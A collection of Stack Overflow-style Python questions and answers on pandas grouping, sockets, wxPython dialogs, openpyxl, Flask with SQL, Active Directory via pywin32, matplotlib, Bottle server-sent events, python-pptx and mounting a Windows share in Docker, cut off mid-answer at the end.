Iterate over groups of rows in Pandas Question: I am new to pandas and python in general - grateful for any direction you can provide! I have a csv file with 4 columns. I am trying to group together rows where the first three columns are the same on all rows (Column A Row 1 = Column A Row 2, Column B Row 1 = Column B Row 2, and so on) My data look like this: phone_number state date description 1 9991112222 NJ 2015-05-14 Condo 2 9991112222 NJ 2015-05-14 Condo sales call 3 9991112222 NJ 2015-05-14 Apartment rental 4 6668885555 CA 2015-05-06 Apartment 5 6668885555 CA 2015-05-06 Apartment rental 6 4443337777 NJ 2015-05-14 condo So in this data, rows 1, 2 and 3 would be in one group, and rows 4 and 5 would be in another group. Row 6 would not be in the group with 1, 2, and 3 because it has a different phone_number. Then, for each row, I want to compare the string in the description column against _each other description_ in that group using Levenshtein distance, and keep the rows where the descriptions are sufficiently similar. "Condo" from row 1 would be compared to "Condo sales call" from row 2 and to "Apartment rental" in row 3. It would not be compared to "condo" from row 6. In the end, the goal is to weed out rows where the description is not sufficiently similar to another description in the same group. Phrased differently, to print out all rows where description is at least somewhat similar to another (any other) description in that group. Ideal output: phone_number state date description 1 9991112222 NJ 2015-05-14 Condo 2 9991112222 NJ 2015-05-14 Condo sales call 4 6668885555 CA 2015-05-06 Apartment 5 6668885555 CA 2015-05-06 Apartment rental Row 6 does not print because it was never in a group. Row 3 doesn't print because "Apartment rental" is insufficiently similar to "Condo" or "Condo sales call" This is the code I have so far. I can't tell if this is the best way to do it. And if I have done it right so far, I can't figure out how to print the full row of interest: import Levenshtein import itertools import pandas as pd test_data = pd.DataFrame.from_csv('phone_state_etc_test.csv', index_col=None) for pn in test_data['phone_number']: for dt in test_data['date']: for st in test_data['state']: for a, b in itertools.combinations(test_data[ (test_data['phone_number'] == pn) & (test_data['state'] == st) & (test_data['date'] == dt) ] ['description'], 2): if Levenshtein.ratio(a,b) > 0.35: print pn, "|", dt, "|", st, "|" #description This prints a bunch of duplicates of these lines: 9991112222 | NJ | 2015-05-14 | 6668885555 | CA | 2015-05-06 | But if I add description to the end of the print line, I get a SyntaxError: invalid syntax Any thoughts on how I can print the full row? Whether in pandas dataframe, or some other format, doesn't matter - I just need to output to csv. Answer: Why don't you use the `pandas.groupby` option to find the unique groups (based on phone-number, state and date). Doing this lets you treat all the `Description` values separately and do whatever you want to do with them. For example, I'll groupby with the above said columns and get the unique values for the `Description` columns within this group - In [49]: df.groupby(['phone_number','state','date']).apply(lambda v: v['description'].unique()) Out[49]: phone_number state date 4443337777 NJ 2015-05-14 [condo] 6668885555 CA 2015-05-06 [Apartment, Apartment-rental] 9991112222 NJ 2015-05-14 [Condo, Condo-sales-call, Apartment-rental] dtype: object You can use any function within the `apply`. More examples here - <http://pandas.pydata.org/pandas-docs/stable/groupby.html>
python3 - broken pipe error when using socket.send() Question: I am programming a client-server instant message program. I created a similar program in Python 2, and am trying to program it in Python 3. The problem is when the server takes the message and tries to send it to the other client, it gives me "[Errno 32] Broken Pipe" and exits. I have done some research, and found that this occurs when the client disconnects, so I did some more testing but could not find when the client disconnects. (I am using Ubuntu 14.04 and Python 3.4) Here is the server code: import socket, select, sys def broadcast(sock, messaged): for socket in connection_list: if socket != s and socket != sock: # Here is where it gives me the broken pipe error try: s.send(messaged.encode("utf-8")) except BrokenPipeError as e: print(e) sys.exit() connection_list = [] host = '' port = 5558 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.setsockopt(socket.SOL_SOCKET, socket.SO_REUSEADDR, 1) s.bind((host,port)) s.listen(5) connection_list.append(s) read_sockets,write_sockets,error_sockets = select.select(connection_list,[],[]) while True: for sock in read_sockets: if sock == s: conn, addr = s.accept() connection_list.append(conn) client = "Client (%s,%s) connected" % addr print(client) broadcast(sock,client) else: try: data = sock.recv(2048) decodeddata = data.decode("utf-8") if data: broadcast(sock, decodeddata) except: offline = "Client " + addr + "is offline" broadcast(sock, offline) print(offline) connection_list.remove(sock) sock.close() continue And the client code: import socket, select, string, sys, time def prompt(data) : print("<You> " + data) def Person(data) : print("<Receiver> " + data) if __name__ == "__main__": host = "localhost" port = 5558 s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.settimeout(2) try: s.connect((host,port)) except: print('Unable to connect') sys.exit() print('Connected.') socket_list = [s] read_sockets,write_sockets,error_sockets = select.select(socket_list,[],[]) while 1: for sock in read_sockets: if sock == s: try: time.sleep(1) data = sock.recv(1024) Person(data.decode("utf-8")) except: msg = input("Send a message: ") try: s.send(str.encode(msg)) except: print("Server is offline") sys.exit() else: print("Server is offline") sys.exit() Answer: There are two problems that you have to fix to make this work. First, on both the client side and the server side, you have to put the `select` _inside_ the loop, not outside. Otherwise, if there was something to read before you got to the loop, you'll recv over and over, and if there wasn't, you'll never recv. Once you fix this, you can get rid of the `time.sleep(1)`. (You should _never_ need a `sleep` to solve a problem like this; at best it masks the problem, and usually introduces new ones.) Meanwhile, on the server side, inside `broadcast`, you're doing `s.send`. But `s` is your listener socket, not a connected client socket. You want `socket.send` here, because `socket` is each socket in `connection_list`. * * * There are a number of unrelated problems in your code as well. For example: * I'm not sure what the `except:` in the client is _supposed_ to be catching. What it mainly seems to catch is that, about 50% of the time, hitting ^C to end the program triggers the send prompt. But of course, like any bare `except:`, it also masks any other problems with your code. * There's no way to send any data back and forth other than the "connected" message except for that `except:` clause. * `addr` is a tuple of host and port, so when someone goes offline, the server raises a `TypeError` from trying to format the offline message. * `addr` is always the last client who connected, not the one who's disconnecting. * You're not setting your sockets to nonblocking mode. * You're not checking for EOF on the `recv`. This means that you don't actually detect that a client has gone offline until you get an error. Which normally happens only after you try to `send` them a message (e.g., because someone else has connected or disconnected).
Is MATLAB faster than Python (little simple experiment) Question: I have read this ( [Is MATLAB faster than Python?](http://stackoverflow.com/questions/2133031/is-matlab-faster-than- python) ) and I find it has lots of ifs. I have tried this little experiment on an old computer that still runs on Windows XP. In MATLAB R2010b I have copied and pasted the following code in the Command Window: tic x = 0.23; for i = 1:100000000 x = 4 * x * (1 - x); end toc x The result was: Elapsed time is 0.603583 seconds. x = 0.947347510922557 Then I saved a **`py`** file with the following script: import time t = time.time() x = 0.23 for i in range(100000000): x = 4 * x * (1 - x) elapsed = time.time() - t print(elapsed) print(x) I pressed `F5` and the result was 49.78125 0.9473475109225565 In MATLAB it took 0.60 seconds; in Python it took 49.78 seconds (an eternity!!). **So the question is** : is there a simple way to make Python as fast as MATLAB? **Specifically** : how do I change my `py` script so that it runs as fast as MATLAB? * * * **UPDATE** I have tried the same experiment in **`PyPy`** (copying and pasting the same code as above): it did it in 1.0470001697540283 seconds on the same machine as before. I repeated the experiments with 1e9 loops. MATLAB results: Elapsed time is 5.599789 seconds. 1.643573442831396e-004 `PyPy` results: 8.609999895095825 0.00016435734428313955 I have also tried with a normal `while` loop, with similar results: t = time.time() x = 0.23 i = 0 while (i < 1000000000): x = 4 * x * (1 - x) i += 1 elapsed = time.time() - t elapsed x **Results** : 8.218999862670898 0.00016435734428313955 I am going to try **`NumPy`** in a little while. Answer: First, using `time` is not a good way to test code like this. But let's ignore that. * * * When you have code that does a lot of looping and repeating very similar work each time through the loop, [PyPy](http://pypy.org)'s JIT will do a great job. When that code does the _exact same_ thing every time, to constant values that can be lifted out of the loop, it'll do even better. CPython, on the other hand, has to execute multiple bytecodes for each loop iteration, so it will be slow. From a quick test on my machine, CPython 3.4.1 takes 24.2 seconds, but PyPy 2.4.0/3.2.5 takes 0.0059 seconds. IronPython and Jython are also JIT-compiled (although using the more generic JVM and .NET JITs), so they tend to be faster than CPython for this kind of work as well. * * * You can also generally speed up work like this in CPython itself by using [NumPy](http://numpy.org) arrays and vector operations instead of Python lists and loops. For example, the following code takes 0.011 seconds: i = np.arange(10000000) i[:] = 4 * x * (1-x) Of course in that case, we're explicitly just computing the value once and copying it 10000000 times. But we can force it to actually compute over and over again, and it still takes only 0.12 seconds: i = np.zeros((10000000,)) i = 4 * (x+i) * (1-(x+i)) * * * Other options include writing part of the code in [Cython](http://cython.org) (which compiles to a C extension for Python), and using [Numba](http://numba.pydata.org), which JIT-compiles code within CPython. For toy programs like this, neither may be appropriate—the time spent auto- generating and compiling C code may swamp the time saved by running C code instead of Python code if you're only trying to optimize a one-time 24-second process. But in real-life numerical programming, both are very useful. (And both play nicely with NumPy.) And there are always new projects on the horizon as well.
Linear Directed Acyclic Graph Question: I have an OCR task, where I over-segment the image. Now I want to build a data-structure (a variety of a directed acyclic graph) to get all possible combinations of images. Example: ![this picture](http://i.stack.imgur.com/29hZM.png) I start with splitting it into four parts, a [3], b [left half of 4], c[right half of 4], d [2]. Now I will combine them variously. To get, say, the following paths. 0) a, b, c, d (The basic config) 1) a, bc, d (The correct config) 2) ab, c, d 3) a, b, cd etc. I am looking to implement this in Python. Is there an existing package? If not, what is the best data structure? Is DAG the closest? Is there a variety of DAG that works better? Thanks, Answer: OK, I have an answer. One can implement it like this. import random def combine(wt1, wt2): return random.random() < .1, (wt1+wt2)//2 class Linetree(): def __init__(self, wts): self.nodes = [] for i, wt in enumerate(wts): self.nodes.append([[i+1, wt]]) self.nodes.append([]) self.processed = [] self.checked = [] def processnode(self, idx): if idx in self.processed: return ichild = 0 while ichild < len(self.nodes[idx]): chidx, chwt = self.nodes[idx][ichild] self.processnode(chidx) igrandchild = 0 while igrandchild < len(self.nodes[chidx]): grchidx, grchwt = self.nodes[chidx][igrandchild] if (idx, grchidx) in self.checked: igrandchild += 1 continue tocombine, newwt = combine(chwt, grchwt) self.checked.append((idx, grchidx)) if tocombine: self.nodes[idx].append([grchidx, newwt]) igrandchild += 1 ichild += 1 self.processed.append(idx) def build(self): self.processnode(0) def get_paths(self, n=0): if len(self.nodes[n]) == 0: yield [n] for ch, wt in self.nodes[n]: for sub_path in self.get_paths(ch): yield [n] + sub_path def pathwt(self, path): ret = 0 for i in range(len(path)-1): for child, wt in self.nodes[path[i]]: if child == path[i+1]: ret += wt break else: raise ValueError(str(path)) return ret def __str__(self): ret = "" for i, children in enumerate(self.nodes): ret += "\nNode {}: ".format(i) for child in children: ret += "{}, ".format(child) return ret def main(): wts = range(10, 80, 10) print(list(enumerate(wts))) lt = Linetree(wts) print(lt.nodes) print(lt) lt.build() print(lt) paths = lt.get_paths() for path in paths: print(path, lt.pathwt(path)) main()
get current url from browser python Question: I am running an HTTP server which serves a bitmap according to the dimensions in the browser url i.e localhost://image_x120_y30.bmp . My server is running in infinite loop and I want to get the url any time user requests for BITMAP . so , I can extract image dimensions from url. The question asked here [How to get current URL in python web page?](http://stackoverflow.com/questions/14468862/how-to-get-current-url-in- python-web-page) does not address my problem as I am running in infinite loop and I want to keep on getting the current url so I can deliver the requested BITMAP to user. Answer: If to use Selenium for web navigation: from selenium import webdriver driver = webdriver.Firefox() print (driver.current_url)
wxPython New, Save, and SaveAs Methods Question: I'm writing a UI for a python app with wxPython. I've handled a few of the OnX functions but I need help with OnNew and OnSave/SaveAs Here is my Save and SaveAs code: def OnSave(self, event): self.dirname = "" saveFileDialog = wx.FileDialog(self, "Save Operation File", self.dirname, "", "Operation Files (*.fwr)|*.fwr|All Files (*.*)|*.*", wx.SAVE|wx.OVERWRITE_PROMPT) if saveFileDialog.ShowModal() == wx.ID_OK: contents = self.control.GetValue() self.filename = saveFileDialog.GetFilename() self.dirname = saveFileDialog.GetDirectory() filehandle = open(os.path.join(self.dirname, self.filename), 'w') filehandle.write(contents) filehandle.close() else: sys.exit(1) saveFileDialog.Destroy() def OnSaveAs(self, event): self.dirname = ""; saveAsFileDialog = wx.FileDialog(self, "Save Operation File As", self.dirname, "", "Operation Files (*.fwr)|*.fwr|All Files (*.*)|*.*", wx.FD_SAVE | wx.FD_OVERWRITE_PROMPT) if saveAsFileDialog.ShowModal() == wx.ID_OK: contents = self.control.GetValue() self.filename = saveFileDialog.GetFilename() self.dirname = saveFileDialog.GetDirectory() filehandle = open(os.path.join(self.dirname, self.filename), 'w') filehandle.write(contents) filehandle.close() else: sys.exit(1) saveFileDialog.Destroy() # save current contents in the file # use wxPython output streams #output_stream = wx.FileOutputStream(saveFileDialog.GetPath()) #if not output_stream.IsOk(): # wx.LogError("Cannot save contents of Operations File '%s'" % saveFileDialog.GetPath()) # return the commented part at the bottom is another way I found to do it, is using the input and output streams more correct than the way it currently is? Also heres my other question, I got OnNew Working, here is the code: def OnNew(self, event): homedir = os.environ['HOME'] if not os.path.exists(homedir): if getpass.getuser(): homedir = "C:/Users/" + getpass.getuser() + "/" else: homedir = "C:/" newFileDialog = wx.FileDialog(self, "New Operation File", homedir, "", "Operation Files (*.fwr)|*.fwr|All Files|(*.*)|*.*", wx.FD_CREATE|wx.OVERWRITE_PROMPT) Everything is great but the OnOpen Method opens an open file dialog, I want a create file dialog (would this be the same as save? Can someone give me an example OnOpen method, and give me some insight into my OnSave and OnSaveAs methods? As you can see there are three aproaches, one in OnSaveAs, one in OnSave, and one commented out at the bottom of OnSaveAs(). As well as many more I didn't write down here. My main question though is how to get the filedialog for new to be a save dialog where you create a file, rather than an open dialog. Thanks a ton. SUMMARY: 1) How do you bring up a FileDialog that allows creation of blank files. I assum it will be similar to save, but hwatever ID flags I pass it always gives me an Open button 2) And as for save methods, is it better to do what I showed in the code, or use streams like the commented out section in SaveAs?. Answer: To get the Save dialog, you need to pass the `wx.SAVE` style flag to your `FileDialog` object: `style=wx.SAVE`. You can read more about the save flag [here](http://www.blog.pythonlibrary.org/2010/06/26/the-dialogs-of-wxpython- part-1-of-2/) or [here](http://stackoverflow.com/questions/14524525/implement- save-as-in-save-dialog-wxpython). Here's some example code that worked for me on Xubuntu 14.04 with wxPython 2.8.12.1 and Python 2.7: import os import wx wildcard = "Python source (*.py)|*.py|" \ "All files (*.*)|*.*" ######################################################################## class MyForm(wx.Frame): #---------------------------------------------------------------------- def __init__(self): wx.Frame.__init__(self, None, wx.ID_ANY, "File and Folder Dialogs Tutorial") panel = wx.Panel(self, wx.ID_ANY) self.currentDirectory = os.getcwd() saveFileDlgBtn = wx.Button(panel, label="Show SAVE FileDialog") saveFileDlgBtn.Bind(wx.EVT_BUTTON, self.onSaveFile) # put the buttons in a sizer sizer = wx.BoxSizer(wx.VERTICAL) sizer.Add(saveFileDlgBtn, 0, wx.ALL|wx.CENTER, 5) panel.SetSizer(sizer) #---------------------------------------------------------------------- def onSaveFile(self, event): """ Create and show the Save FileDialog """ dlg = wx.FileDialog( self, message="Save file as ...", defaultDir=self.currentDirectory, defaultFile="", wildcard=wildcard, style=wx.SAVE ) if dlg.ShowModal() == wx.ID_OK: path = dlg.GetPath() print "You chose the following filename: %s" % path dlg.Destroy() #---------------------------------------------------------------------- # Run the program if __name__ == "__main__": app = wx.App(False) frame = MyForm() frame.Show() app.MainLoop() I don't see anything wrong with your saving approach. In most cases, it's better to use Python's low level operators instead of using wxPython's. I would use Python's `with` operator though as that follows the newer idiom better: with open(os.path.join(self.dirname, self.filename), 'w') as filehandle: filehandle.write(contents)
Using relative imports in python with mutliple parent and children folders Question: I had a small problem with importing a script that was in a parent folder, but I managed to resolve it using: import sys sys.path.append("../") My directory is like this: Data |->->code |->->script1.py |->->->->subfolder |->->->script2.py When I run script2 (which imports script1) from the subfolder directory, the script runs without problems. But if I try to run script2 from the code directory using: :~ ./subfolder/script2.py I get an error : ImportError: No module named script1 I tried using relative imports but because my code is not structured in packages it doesn't work. Is there a way I can run script2 from both directories (the parent and the child) and still be able to import script1 everytime? Thank you in advance, Georgi Nikolov **EDIT** : Ok, after I read through all the suggestions, I did a "simple" hack which is quite ugly in my opinion but works quite well: import sys parent_folder = sys.path[0].split("/subfolder")[0] sys.path.append(parent_folder) import script1 Now I can even call script2 from the root and it will manage to import script1 Answer: To import a module that is up a level, you can use this. import os, sys sys.path.append(os.path.join(os.path.dirname(__file__), "..")) **An Explanation** __file__ # The full path to your running file. os.path.dirname # See below. (1) os.path.join # See below. (2) sys.path.append # See below. (3) ".." # Universal for "up a level". 1. `os.path.dirname(path)` - > [Return the directory name of pathname > path.](https://docs.python.org/2/library/os.path.html#os.path.dirname) 2. `os.path.join(path, *paths)` - > [Join one or more path components > intelligently.](https://docs.python.org/2/library/os.path.html#os.path.join) 3. `sys.path` - > [A list of strings that specifies the search path for > modules.](https://docs.python.org/2/library/sys.html#sys.path) You can add a string with the `append` method.
python - fill cells with colors using openpyxl Question: I am currently using openpyxl v2.2.2 for Python 2.7 and i wanted to set colors to cells. I have used the following imports import openpyxl, from openpyxl import Workbook from openpyxl.styles import Color, PatternFill, Font, Border from openpyxl.styles import colors from openpyxl.cell import Cell and the following is the code I tried using: wb = openpyxl.Workbook() ws = wb.active redFill = PatternFill(start_color='FFFF0000', end_color='FFFF0000', fill_type='solid') ws['A1'].style = redFill but I get the following error: Traceback (most recent call last) self.font = value.font.copy() AttributeError: 'PatternFill' object has no attribute 'font' Any idea on how to set cell A1 (or any other cells) with colors using openpyxl? Answer: Why are you trying to assign a fill to a style? `ws['A1'].fill = redFill` should work fine.
Linking html, python and sql Question: I'm trying to link html form with python and sql. My requirement is that the user gives an input and that input should be sent to some python function block to execute an sql statement on MS SQL Server and return the results back to the user. Please help in linking the below code : order.html <html> <form action="/order" method="POST"> <input type="text" name="month"> <input type="number" name="weekno"> <input type="submit"> </form> The stock for {{weekno}} is xyz </html> order.py : from flask import Flask,render_template import sys app = Flask(__name__) @app.route('/order', method=['POST']) def orderdb() : # using sql server connection statement here cursor = connection.cursor () cursor.execute ("select month,stock from salesdb where weeknumbr=?",weekno) return render_template('order.html',weekno = weekno) This is a sample code i'm using here instead of pasting complete code. Please suggest the syntax to be used so that the query should take the weekno value from the form and execute the query based on weeknumbr condition. Thanks!! Answer: To get value from form, in your case, you should do this: from Flask import request ... weekno = int(request.form['weekno']) I suggest you to read this [Flask Quickstart](http://flask.pocoo.org/docs/0.10/quickstart/#the-request-object)
Remove AD user from Security group using Python Question: I am trying to remove a user from a security group using Python and pywin32, but so far have not been successful. However I am able to add a user to a security group. from win32com.client import GetObject grp = GetObject("LDAP://CN=groupname,OU=groups,DC=blah,DC=local") grp.Add("LDAP://CN=username,OU=users,DC=blah,DC=local") # successfully adds a user to the group grp.Remove("LDAP://CN=username,OU=users,DC=blah,DC=local") # returns an error The error is below: Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<COMObject LDAP://CN=groupname,OU=groups,DC=blah,DC=local>", line 2, in Remove pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None, 0, -2147024891), None) I have also tried adding using GetObject to get the user and remove it that way, however I get the same error. usr = GetObject("LDAP://CN=user,OU=users,DC=blah,DC=local") grp.Remove(usr) Any help would be much appreciated as I've hit a dead-end here. EDIT I have also now tried using Tim Golden's active_directory module to try and remove the group member. import active_directory as ad grp = ad.find_group("groupname") usr = ad.find_user("username") grp.remove(usr.path()) However this also doesn't work, and I encounter the below error. Traceback (most recent call last): File "C:\Python33\lib\site-packages\active_directory.py", line 799, in __getat tr__ attr = getattr(self.com_object, name) AttributeError: 'PyIADs' object has no attribute 'group' During handling of the above exception, another exception occurred: Traceback (most recent call last): File "C:\Python33\lib\site-packages\active_directory.py", line 802, in __getat tr__ attr = self.com_object.Get(name) pywintypes.com_error: (-2147463155, 'OLE error 0x8000500d', (0, 'Active Director y', 'The directory property cannot be found in the cache.\r\n', None, 0, -214746 3155), None) During handling of the above exception, another exception occurred: Traceback (most recent call last): File "<stdin>", line 1, in <module> File "C:\Python33\lib\site-packages\active_directory.py", line 1081, in remove self.group.Remove(dn) File "C:\Python33\lib\site-packages\active_directory.py", line 804, in __getat tr__ raise AttributeError AttributeError EDIT Wherby suggested that I change to Python 2.7 and give that a go. I have just tried this: import active_directory as ad user = ad.find_user("username") group = ad.find_group("groupname") group.remove(user.path()) ... but I'm still getting an error Traceback (most recent call last): File "<stdin>", line 1, in <module> File "<COMObject LDAP://CN=groupname,OU=groups,DC=blah,DC=local>", line 2, in remove pywintypes.com_error: (-2147352567, 'Exception occurred.', (0, None, None, None, 0, -2147024891), None) The user and group are definitely found correctly, as I can print their LDAP paths using `print user.path()` and `print group.path()` Are there any other active directory libraries for Python 3.3 that anyone can recommend? Answer: From Traceback (most recent call last): File "C:\Python33\lib\site-packages\active_directory.py", line 799, in __getat tr__ attr = getattr(self.com_object, name) AttributeError: 'PyIADs' object has no attribute 'group' The error indicate you are using not existed "group name", the function find_group required anexisted group name, but you give not existed name. You should double check "Tim Golden's active_directory module" 's manual. For usr = GetObject("LDAP://CN=user,OU=users,DC=blah,DC=local") grp.Remove(usr) I suggest you add "print user" to see if the user really get.
Animate scatter plot Question: I'm building a Python tool for visualizing data structures in 3D. The code below is the full program, it's even set up to run a default test model with some random data; you just need numpy and matplotlib. Basically, you declare a Node, connect it to other Nodes, and it makes pretty 3D networks. I'd like to be able to call switchNode() and have it flip the color of a node between black and white. With the way it works right now, every time a Node is instantiated, the plot is added to with another data point. I'm not familiar enough with matplotlib's animation tools to know the best way of doing this (my attempt at following the example from [another post](http://stackoverflow.com/questions/9401658/matplotlib-animating-a- scatter-plot) is commented out on line 83, and hoped someone could offer me some tips. Thanks!! import numpy as np from mpl_toolkits.mplot3d import Axes3D import matplotlib.pyplot as plt import matplotlib.animation as anim # user-defined variables debug = False axisOn = False labelsOn = True maxNodes = 20 edgeColor = 'b' dottedLine = ':' darkGrey = '#191919' lightGrey = '#a3a3a3' plotBackgroundColor = lightGrey fontColor = darkGrey gridColor = 'k' numFrames = 200 # global variables fig = None hTable = [] ax = None numNodes = 0 # initialize plot def initPlot(): global ax, fontColor, fig fig = plt.figure() ax = fig.add_subplot(111, projection='3d', axisbg=plotBackgroundColor) if axisOn == False: ax.set_axis_off() else: ax.set_axis_on() fontColor = darkGrey # gives n random float values between vmin and vmax def randrange(n, vmin, vmax): return (vmax - vmin) * np.random.rand(n) + vmin # builds an empty node with a given value, helper method for makeNode def makeNodeS(value): global hTable, numNodes n = Node(value) hTable.append(n) numNodes = len(hTable) return n # builds a node with given parameters def makeNode(value, location, color, marker): n = makeNodeS(value) n.setLoc(location) n.setStyle(color, marker) if debug: print("Building node {} at {} with color = {}, marker = {}, and associations = {}.".format(value, location, color, marker, n.assocs)) return n # aggregate nodes in hTable and plot them in 3D def plotNodes(): global hTable if debug: print("Plotting Graph...") for elem in hTable: if debug: print(" Plotting node {}...".format(elem.value)) global fig, numFrames scat = ax.scatter(elem.location[0], elem.location[1], elem.location[2], c=elem.color, marker=elem.marker) for c in elem.assocs: if (getNode(c).value != elem.value): if elem.count in getNode(c).assocs: # if the two nodes are associated to each other, draw solid line ax.plot([elem.location[0], getNode(c).location[0]], [elem.location[1], getNode(c).location[1]], [elem.location[2], getNode(c).location[2]], edgeColor) if debug: print(" Plotting double edge between {} and {}...".format(elem.value, getNode(c).value)) else: ax.plot([elem.location[0], getNode(c).location[0]], [elem.location[1], getNode(c).location[1]], [elem.location[2], getNode(c).location[2]], edgeColor + dottedLine) if debug: print(" Plotting single edge from {} to {}...".format(elem.value, getNode(c).value)) #ani = anim.FuncAnimation(fig, update_plot, frames=xrange(numFrames), fargs=(['b', 'w'], scat)) # build single connection from node A to node B def sConnect(nodeA, nodeB): nodeA.addAssoc(nodeB) if debug: print(" Drawing single connection from node {} to node {}...".format(nodeA.value, nodeB.value)) # build double connection from node A to node B, and from node B to node A def dConnect(nodeA, nodeB): if debug: print("\nDouble node connection steps:") sConnect(nodeA, nodeB) sConnect(nodeB, nodeA) # update scatter with new color data def update_plot(i, data, scat): scat.set_array(data[i]) return scat # returns the node with given count def getNode(count): global hTable n = hTable[count-1] return n # set up axis info def defineAxis(): ax.set_xlabel('X Label') ax.xaxis.label.set_color(lightGrey) ax.tick_params(axis='x', colors=lightGrey) ax.set_ylabel('Y Label') ax.yaxis.label.set_color(lightGrey) ax.tick_params(axis='y', colors=lightGrey) ax.set_zlabel('Z Label') ax.zaxis.label.set_color(lightGrey) ax.tick_params(axis='z', colors=lightGrey) # randomly populate nodes and connect them def test(): for i in range (0, maxNodes): rand = np.random.rand(2) if (0 <= rand[0] <= 0.25): q = makeNode(i, np.random.rand(3), 'r', '^') elif (0.25 < rand[0] <= 0.5): q = makeNode(i, np.random.rand(3), 'b', 'o') elif (0.5 < rand[0] <= 0.75): q = makeNode(i, np.random.rand(3), 'g', 'v') elif (0.75 < rand[0]): q = makeNode(i, np.random.rand(3), 'w', 'o') if (0 < i < maxNodes-1): if (rand[1] <= 0.2): dConnect(q, getNode(q.count-1)) elif (rand[1] < 0.5): sConnect(q, getNode(q.count-1)) # randomly populate binary nodes and connect them def test2(): for i in range (0, maxNodes): rand = np.random.rand(2) if (0 <= rand[0] <= 0.80): q = makeNode(i, np.random.rand(3), 'k', 'o') else: q = makeNode(i, np.random.rand(3), 'w', 'o') if (i > 0): if (rand[1] <= 0.2): dConnect(q, getNode(q.count-1)) elif (rand[1] > 0.2): sConnect(q, getNode(q.count-1)) # switches a binary node between black and white def switchNode(count): q = getNode(count) if (q.color == 'b'): q.color = 'w' else: q.color = 'b' # main program def main(): ## MAIN PROGRAM initPlot() test2() plotNodes() defineAxis() plt.show() # class structure for Node class class Node(str): value = None location = None assocs = None count = 0 color = None marker = None # initiate node def __init__(self, val): self.value = val global numNodes numNodes += 1 self.count = numNodes self.assocs = [] self.color = 'b' self.marker = '^' # set node location and setup 3D text label def setLoc(self, coords): self.location = coords global labelsOn if labelsOn: ax.text(self.location[0], self.location[1], self.location[2], self.value, color=fontColor) # define node style def setStyle(self, color, marker): self.color = color self.marker = marker # define new association def addAssoc(self, newAssociation): self.assocs.append(newAssociation.count) if debug: print(" Informing node association: Node {} -> Node {}".format(self.value, newAssociation.value)) main() Answer: Scatter returns a [collection](http://matplotlib.org/1.3.0/api/collections_api.html) and you can change the colors of the points in a collection with set_facecolor. Here's an example you can adapt for your code: plt.figure() n = 3 # Plot 3 white points. c = [(1,1,1), (1,1,1), (1,1,1)] p = plt.scatter(np.random.rand(n), np.random.rand(n), c = c, s = 100) # Change the color of the second point to black. c[1] = (0,0,0) p.set_facecolor(c) plt.show()
Python Bottle SSE Question: I'm trying to get Server Sent Events to work from Python, so I found a little demo code and to my surprise, it only partly works and I can't figure out why. I got the code from [here](https://gist.github.com/werediver/4358735) and put in just a couple little changes so I could see what was working (I included a print statement, an import statement which they clearly forgot, and cleaned up their HTML to something I could read a little easier). It now looks like this: # Bottle requires gevent.monkey.patch_all() even if you don't like it. from gevent import monkey; monkey.patch_all() from gevent import sleep from bottle import get, post, request, response from bottle import GeventServer, run import time sse_test_page = """ <!DOCTYPE html> <html> <head> <meta charset="UTF-8" /> <script src="http://cdnjs.cloudflare.com/ajax/libs/jquery/1.8.3/jquery.min.js "></script> <script> var es = new EventSource("/stream"); es.onmessage = function(e) { document.getElementById("log").innerHTML = e.data; } </script> </head> <body> <h1>Server Sent Events Demo</h1> <p id="log">Response Area</p> </body> </html> """ @get('/') def index(): return sse_test_page @get('/stream') def stream(): # "Using server-sent events" # https://developer.mozilla.org/en-US/docs/Server-sent_events/Using_server-sent_events # "Stream updates with server-sent events" # http://www.html5rocks.com/en/tutorials/eventsource/basics/ response.content_type = 'text/event-stream' response.cache_control = 'no-cache' # Set client-side auto-reconnect timeout, ms. yield 'retry: 100\n\n' n = 1 # Keep connection alive no more then... (s) end = time.time() + 60 while time.time() < end: yield 'data: %i\n\n' % n print n n += 1 sleep(1) if __name__ == '__main__': run(server=GeventServer, port = 21000) So here's what ends up happening: I can see the original header and paragraph on the website, but response area never changes. On the python side, it prints `n` once per second, but I never see that change on the web page. I get the feeling that I just lack a fundamental understanding of what I'm trying to do but I can't find anything missing. I'm running Python 2.7, windows 7, chrome 43.0.2357.81 m. **EDIT:** I got rid of the extra quotation mark. Now it only seems to update when it gets to 60 (which I guess is better than not at all...) Why would it wait until the end of the function to send the event? Answer: You've got 2 sets of quotes after p id="log""
Changing font for part of text in python-pptx Question: I'm using the python-pptx module to create presentations. How can I change the font properties only for a part of the text? **I currently change the font like this:** # first create text for shape ft = pres.slides[0].shapes[0].text_frame ft.clear() p = ft.paragraphs[0] run = p.add_run() run.text = "text" # change font from pptx.dml.color import RGBColor from pptx.util import Pt font = run.font font.name = 'Lato' font.size = Pt(32) font.color.rgb = RGBColor(255, 255, 255) Thanks! Answer: In PowerPoint, font properties are applied to a _run_. In a way, it is what defines a run; a "run" of text sharing the same font treatment, including typeface, size, color, bold/italic, etc. So to make two bits of text look differently, you need to make them separate runs.
Docker - Mount Windows Network Share Inside Container Question: I have a small Python application that I'd like to run on Linux in Docker (using boot2docker for now). This application reads some data from my Windows network share, which works fine on Windows using the network path but fails on Linux. After doing some research I figured out how to mount a Windows share on Ubuntu. I'm attempting to implement the dockerfile so that it sets up the share for me but have been unsuccessful so far. Below is my current approach, which encounters operation not permitted at the mount command during the build process. #Sample Python functionality import os folders = os.listdir(r"\\myshare\folder name") #Dockerfile RUN apt-get install cifs-utils -y RUN mkdir -p "//myshare/folder name" RUN mount -t cifs "//myshare/folder name" "//myshare/folder name" -o username=MyUserName,password=MyPassword #Error at mount during docker build #"mount: error(1): Operation not permitted" #Refer to the mount.cifs(8) manual page (e.g. man mount.cifs) **Edit** Not a duplicate of [Mount SMB/CIFS share within a Docker container](http://stackoverflow.com/questions/27989751/mount-smb-cifs-share- within-a-docker-container). The solution for that question references a fix during `docker run`. I can't run `--privileged` if the docker build process fails. * * * **Q: What is the correct way to mount a Windows network share inside a Docker container?** * * * Answer: You are correct that you can only use `--privileged` during `docker run`. You cannot perform `mount` operations without `--privileged`, ergo, you cannot perform mount operations during the `docker build` process. This is probably by design: the goal is that a Dockerfile is largely self contained; anyone should be able to use your `Dockerfile` and other contents in the same directory to generate the same image; linking things to an external mount would violate this restriction. However, your question says that you have an application that needs to read some data from a share so it's not clear why you need the share mounted during `docker build`. It sounds like you would be better off building an image that will launch your application as part of `docker run`, and possibly use 